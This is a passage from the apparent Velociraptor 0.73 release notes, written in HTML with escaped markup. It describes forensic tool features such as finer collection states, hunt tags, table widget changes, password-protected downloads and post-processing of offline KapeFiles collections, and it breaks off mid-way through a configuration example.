id=&#34;improve-granularity-of-flow-state-reporting&#34;&gt;Improve granularity of flow state reporting.&lt;/h3&gt;&#xA;&lt;p&gt;In previous versions, flows could only be in the &lt;code&gt;RUNNING&lt;/code&gt;, &lt;code&gt;FINISHED&lt;/code&gt;&#xA;or &lt;code&gt;ERROR&lt;/code&gt; states. When the user schedules a collection from an&#xA;endpoint, the collection is in the &lt;code&gt;RUNNING&lt;/code&gt; state and when it is&#xA;completed it is either in the &lt;code&gt;FINISHED&lt;/code&gt; or &lt;code&gt;ERROR&lt;/code&gt; state.&lt;/p&gt;&#xA;&lt;p&gt;However, this has proved to be insufficient when things go wrong,&#xA;leaving users wondering what is happening in cases where the client&#xA;crashes or reboots, or even if it becomes unresponsive. In such cases&#xA;sometimes flows remained stuck in the &lt;code&gt;RUNNING&lt;/code&gt; state indefinitely, so&#xA;it is not easy for users to re-launch them.&lt;/p&gt;&#xA;&lt;p&gt;In this release, the Velociraptor client goes through more states:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;When the collection is initially scheduled, it is in the&#xA;&lt;code&gt;Scheduled&lt;/code&gt; state and has the icon &lt;i class=&#34;fas fa-calendar-plus&#34;&gt;&lt;/i&gt;.&lt;/li&gt;&#xA;&lt;li&gt;When the client checks in, the collection request is sent to the&#xA;client, and the collection moves into the &lt;code&gt;In Progess&lt;/code&gt; state &lt;i&#xA;class=&#34;fas fa-person-running&#34;&gt;&lt;/i&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The server will periodically check on the progress of the&#xA;collection - if the server in unable to check for a period of time,&#xA;the collection will now be marked as &lt;code&gt;Unresponsive&lt;/code&gt; and have the &lt;i&#xA;class=&#34;fas fa-question&#34;&gt;&lt;/i&gt; icon.&lt;/li&gt;&#xA;&lt;li&gt;If the client comes back online (for example after a restart), the&#xA;server will query the client about the progress of in flight&#xA;collections. The client can then confirm if these collections are&#xA;not known, the collection will be marked as an &lt;code&gt;Error&lt;/code&gt; with icon &lt;i&#xA;class=&#34;fas fa-exclamation&#34;&gt;&lt;/i&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Previously, the server sent all outstanding requests to the client at&#xA;the same time. This meant that if there were many hunts scheduled, all&#xA;requests were delivered immediately. If the client subsequently timed&#xA;out, crashed or disappeared from the network during execution, all&#xA;requests were lost leaving flows in the hung &lt;code&gt;RUNNING&lt;/code&gt; state&#xA;indefinitely.&lt;/p&gt;&#xA;&lt;p&gt;In this release the server only sends 2 requests simultaneously,&#xA;waiting until they complete, before sending further requests. This&#xA;means if the client reboots only the currently executing queries are&#xA;lost, and further queries will continue once the client reconnects.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-10-release-notes-0.73//blog/2024/2024-09-10-release-notes-0.73/collection_states_.svg&#34; alt=&#34;Collection status show finer granularity&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;488&#34;&#xA;         width=&#34;930.3951367781156&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;collection_states.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Collection status show finer granularity&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;hunts-can-be-tagged-now&#34;&gt;Hunts can be tagged now.&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor enables powerful automation in everyday DFIR work. Some&#xA;users start many hunts automatically via the API or VQL queries.&lt;/p&gt;&#xA;&lt;p&gt;Over time there can be many hunts active simultaneously, and they can&#xA;be used for multiple uses. In this release, the GUI&amp;rsquo;s hunt view is&#xA;streamlined by enabling hunts to contains labels.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-10-release-notes-0.73//blog/2024/2024-09-10-release-notes-0.73/hunt_tags_.svg&#34; alt=&#34;Hunts can now have Tags&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;465.96615040684884&#34;&#xA;         width=&#34;1422.1643156896557&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;hunt_tags.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Hunts can now have Tags&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Clicking on the hunt label in the table will automatically filter the&#xA;table for that label. Hunt Labels are a way to group large numbers of&#xA;hunts and clean up the display.&lt;/p&gt;&#xA;&lt;h3 id=&#34;updated-table-widget&#34;&gt;Updated Table widget.&lt;/h3&gt;&#xA;&lt;p&gt;The Velociraptor GUI presents most data in tabular form. It is&#xA;important that tables are easy to navigate and use.  This release made&#xA;a lot of updates to the table view.&lt;/p&gt;&#xA;&lt;h4 id=&#34;pagination-changes&#34;&gt;Pagination changes&lt;/h4&gt;&#xA;&lt;p&gt;The navigation pager is now placed at the top of the table.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-10-release-notes-0.73//blog/2024/2024-09-10-release-notes-0.73/table_widget_.svg&#34; alt=&#34;Velociraptor tables have been revamped&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;443.00000000000006&#34;&#xA;         width=&#34;1460&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;table_widget.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Velociraptor tables have been revamped&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;filtering-columns&#34;&gt;Filtering columns&lt;/h4&gt;&#xA;&lt;p&gt;If a filter term starts with ! it will now be excluded from the rows&#xA;(i.e. a negative search term).&lt;/p&gt;&#xA;&lt;h4 id=&#34;resizing-columns&#34;&gt;Resizing columns&lt;/h4&gt;&#xA;&lt;p&gt;Many tables have varying width columns. By default, Velociraptor will&#xA;try to fit column width automatically to make them more readable, but&#xA;sometimes it is necessary to manually adjust column widths for optimal&#xA;viewing.&lt;/p&gt;&#xA;&lt;p&gt;Columns can now be resized by dragging the right edge of a cell or&#xA;header.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-10-release-notes-0.73//blog/2024/2024-09-10-release-notes-0.73/resizing_columns_.svg&#34; alt=&#34;Columns can be resized by dragging their right edge&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;488&#34;&#xA;         width=&#34;854.5454545454545&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;resizing_columns.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Columns can be resized by dragging their right edge&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;column-re-ordering&#34;&gt;Column re-ordering&lt;/h4&gt;&#xA;&lt;p&gt;Column ordering usually depends on the VQL query that produces the&#xA;table. However it is sometimes easier to reorder columns on an adhoc&#xA;basis.&lt;/p&gt;&#xA;&lt;p&gt;You can now reorder columns by dragging the column header and dropping&#xA;it on the new position.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-10-release-notes-0.73//blog/2024/2024-09-10-release-notes-0.73/reordering_columns_.svg&#34; alt=&#34;Columns can be reordered by drag and drop&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;411&#34;&#xA;         width=&#34;1460&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;reordering_columns.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Columns can be reordered by drag and drop&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;compact-table-view&#34;&gt;Compact table view&lt;/h4&gt;&#xA;&lt;p&gt;Sometimes columns contain a lot of data taking up large vertical&#xA;space. This makes it difficult to quickly review the table because the&#xA;extra row height makes the table unable to fit in the screen&#xA;vertically.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-10-release-notes-0.73//blog/2024/2024-09-10-release-notes-0.73/collapsing_columns_.svg&#34; alt=&#34;Collapsing columns make the table easier to view&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;469&#34;&#xA;         width=&#34;1460&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;collapsing_columns.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Collapsing columns make the table easier to view&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;password-encrypted-zip-files-for-vfs-downloads&#34;&gt;Password encrypted ZIP files for VFS downloads.&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor is often used to fetch potentially malicious binaries&#xA;from endpoints for further analysis. Users can schedule a collection&#xA;from the endpoint and then download the binaries using the browser.&lt;/p&gt;&#xA;&lt;p&gt;However, this can sometimes result in analyst workstations triggering&#xA;virus scanners or other warnings as they download potential malware.&lt;/p&gt;&#xA;&lt;p&gt;As in previous versions, the user can set a download password in their&#xA;preferences. However, previously the password only applied to hunt or&#xA;collection exports.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-10-release-notes-0.73//blog/2024/2024-09-10-release-notes-0.73/setting_password_.svg&#34; alt=&#34;Setting password for downloads globally&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;400&#34;&#xA;         width=&#34;1002.6262626262628&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;setting_password.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Setting password for downloads globally&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In this release, the password setting also applies to individual file&#xA;downloads such as the VFS&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-10-release-notes-0.73//blog/2024/2024-09-10-release-notes-0.73/encrypted_downloads_.svg&#34; alt=&#34;Downloads are password protected&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;741.3905168009326&#34;&#xA;         width=&#34;978.418829464096&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;encrypted_downloads.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Downloads are password protected&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Or the uploads tab in specific collections.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-10-release-notes-0.73//blog/2024/2024-09-10-release-notes-0.73/single_file_downloads_.svg&#34; alt=&#34;Individual file downloads can be password protected&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;400&#34;&#xA;         width=&#34;902.7586206896553&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;single_file_downloads.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Individual file downloads can be password protected&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;post-processing-preservation-artifacts&#34;&gt;Post-processing preservation artifacts&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;code&gt;Windows.KapeFiles.Targets&lt;/code&gt; artifact allows to collect many bulk&#xA;forensic artifacts like registry hives etc. People often use it to&#xA;collect offline collections for preservation of hosts.&lt;/p&gt;&#xA;&lt;p&gt;Although best practice is to &lt;strong&gt;also&lt;/strong&gt; collect parsing artifacts at the&#xA;same time, sometimes this is left out (See &lt;a href=&#34;https://www.velociraptor-docs.org/training/playbooks/preservation/&#34;&gt;Preserving Forensic&#xA;Evidence&#xA;&lt;/a&gt; for&#xA;a full discussion. It is particularly problematic when using the&#xA;offline collector to collect the &lt;code&gt;Windows.KapeFiles.Targets&lt;/code&gt; artifact,&#xA;because once the collection is imported back into Velociraptor there&#xA;is no possibility or returning to the endpoint to collect other&#xA;artifacts.&lt;/p&gt;&#xA;&lt;p&gt;In this case the user needs to parse the collected raw files (for&#xA;example collecting the &lt;code&gt;$MFT&lt;/code&gt; then needing to apply &lt;code&gt;Windows.NTFS.MFT&lt;/code&gt;&#xA;to parse it).&lt;/p&gt;&#xA;&lt;p&gt;In the new release, a notebook suggestion was added to&#xA;&lt;code&gt;Windows.KapeFiles.Targets&lt;/code&gt; to apply a remapping on the collection in&#xA;such as way that some regular artifacts designed to run on the live&#xA;system can work to some extent off the raw collection.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s examine a typical workflow. I will begin by preparing an offline&#xA;collector with the &lt;code&gt;Windows.KapeFiles.Targets&lt;/code&gt; artifact configured to&#xA;collect all event logs.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-10-release-notes-0.73//blog/2024/2024-09-10-release-notes-0.73/building_offline_collector.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Building an offline collector&#34;&#xA;         width=&#34;1280&#34; height=&#34;960&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;building_offline_collector.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Building an offline collector&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Once the collection is complete I receive a ZIP file containing all&#xA;the collected files. I will now import it into Velociraptor.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-10-release-notes-0.73//blog/2024/2024-09-10-release-notes-0.73/importing_offline_collection_.svg&#34; alt=&#34;Importing the offline collection&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;709.75&#34;&#xA;         width=&#34;939.6666666666665&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;importing_offline_collection.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Importing the offline collection&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Since this is an offline client and not a real client, Velociraptor&#xA;will create a new client id to contain the collections.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-10-release-notes-0.73//blog/2024/2024-09-10-release-notes-0.73/kapefiles_collection_.svg&#34; alt=&#34;The imported collection looks just like any other collection&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;652&#34;&#xA;         width=&#34;1094.3160690571049&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;kapefiles_collection.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    The imported collection looks just like any other collection&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Of course we can not schedule new collections for the client because&#xA;it is not a real client, but once imported, the offline collection&#xA;appears as just another collection in the GUI.&lt;/p&gt;&#xA;&lt;p&gt;Suppose now I wanted to use the &lt;code&gt;Windows.Hayabusa.Rules&lt;/code&gt; artifact to&#xA;triage the system according to the Hayabusa Sigma ruleset. Ordinarily,&#xA;with a connected endpoint, I would just schedule a new collection on&#xA;the endpoint and receive the triaged data in a few minutes.&lt;/p&gt;&#xA;&lt;p&gt;However, this is not a real client since I used the offline collector&#xA;to retrieve the event logs. I can not schedule new collections on it&#xA;as easily (without preparing a new offline collector and manually&#xA;running it on the endpoint).&lt;/p&gt;&#xA;&lt;p&gt;Instead, the &lt;code&gt;Windows.KapeFiles.Targets&lt;/code&gt; artifact now offers a VQL&#xA;snippet as a notebook suggestion to post process the collection. I&#xA;access this from the collection&amp;rsquo;s notebook.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-10-release-notes-0.73//blog/2024/2024-09-10-release-notes-0.73/post_process_kapefiles_.svg&#34; alt=&#34;Post processing the KapeFiles collection with a notebook suggestion&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;473&#34;&#xA;         width=&#34;1103.5880398671097&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;post_process_kapefiles.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Post processing the KapeFiles collection with a notebook suggestion&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The new cell contains some template VQL. I can modify it to run other&#xA;artifacts. In this case I will collect the &lt;code&gt;Windows.Hayabusa.Rules&lt;/code&gt;&#xA;artifact with all the rules (event noisy ones) and &lt;code&gt;Windows.NTFS.MFT&lt;/code&gt;&#xA;artifact.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-10-release-notes-0.73//blog/2024/2024-09-10-release-notes-0.73/post_process_kapefiles_2_.svg&#34; alt=&#34;Modifying VQL to run other artifacts&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;754.7500000000001&#34;&#xA;         width=&#34;1014.3333333333333&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;post_process_kapefiles_2.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Modifying VQL to run other artifacts&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The post processing steps added a new distinct collection to the&#xA;offline client, as if we collected it directly from the&#xA;endpoint. However, the artifacts were collected from the triage files&#xA;directly imported from the offline bundle.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-10-release-notes-0.73//blog/2024/2024-09-10-release-notes-0.73/post_process_kapefiles_3_.svg&#34; alt=&#34;A new distinct collection is added&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;685.75&#34;&#xA;         width=&#34;912.3333333333333&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;post_process_kapefiles_3.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    A new distinct collection is added&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Although this new workflow makes it more convenient to post process&#xA;bulk file triage collections, note that this is not an ideal workflow&#xA;for a number of reasons (for example parsing event logs on systems&#xA;other than where they were written will result in a loss of some log&#xA;messages).&lt;/p&gt;&#xA;&lt;p&gt;It is always better to collect and parse the required artifacts&#xA;directly from the endpoint (even in an offline collection) and &lt;strong&gt;not&lt;/strong&gt;&#xA;rely on bulk file collections.&lt;/p&gt;&#xA;&lt;h3 id=&#34;redesigned-timelines&#34;&gt;Redesigned timelines&lt;/h3&gt;&#xA;&lt;p&gt;Timelines has been part of the Velociraptor GUI for a few releases&#xA;now. In this release we have really expanded their functionality into&#xA;a complete end to end timelining analysis tool.&lt;/p&gt;&#xA;&lt;p&gt;The details of the new workflow are described in the &lt;a href=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-12-timelines/&#34;&gt;Timelines in&#xA;Velociraptor&lt;/a&gt; blog&#xA;post, but below is a screenshot to illustrate the final product - an&#xA;annotated timeline derived from analysis of multiple artifacts.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-10-release-notes-0.73/../2024-09-12-timelines/supertimeline.svg&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;The complete timeline with annotations&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    The complete timeline with annotations&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;added-timesketch-integration-artifacts&#34;&gt;Added Timesketch integration artifacts&lt;/h3&gt;&#xA;&lt;p&gt;In addition to an enhanced built in timelining feature, this release&#xA;also features enhanced integration with &lt;code&gt;Timesketch&lt;/code&gt;, a popular open&#xA;source timelining tool. The details of the integration are also&#xA;discussed in the blog post above, but here is a view of Timesketch&#xA;with some Velociraptor timelines exported.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-10-release-notes-0.73/../2024-09-12-timelines/timesketch_view.svg&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Viewing timelines in Timesketch&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    Viewing timelines in Timesketch&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;client-metadata-fields-can-now-be-indexed-and-searched&#34;&gt;Client metadata fields can now be indexed and searched.&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor allows arbitrary key/value pairs to be added the Client&#xA;record. We call this the &lt;code&gt;Client Metadata&lt;/code&gt;. Previously the metadata&#xA;could be set in the GUI but there was no way to search for it from the&#xA;main search bar.&lt;/p&gt;&#xA;&lt;p&gt;In this release client metadata can be searched directly in the search&#xA;box. Additionally, the user can specify custom metadata fields in the&#xA;configuration file to have all clients present this information.&lt;/p&gt;&#xA;&lt;p&gt;Consider this example. I wanted to record maintain the department that&#xA;each endpoint belongs to. I will add the following the server&amp;rsquo;s&#xA;configuration file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;defaults:&#xA;  indexed_client_metadata:&#xA;    - 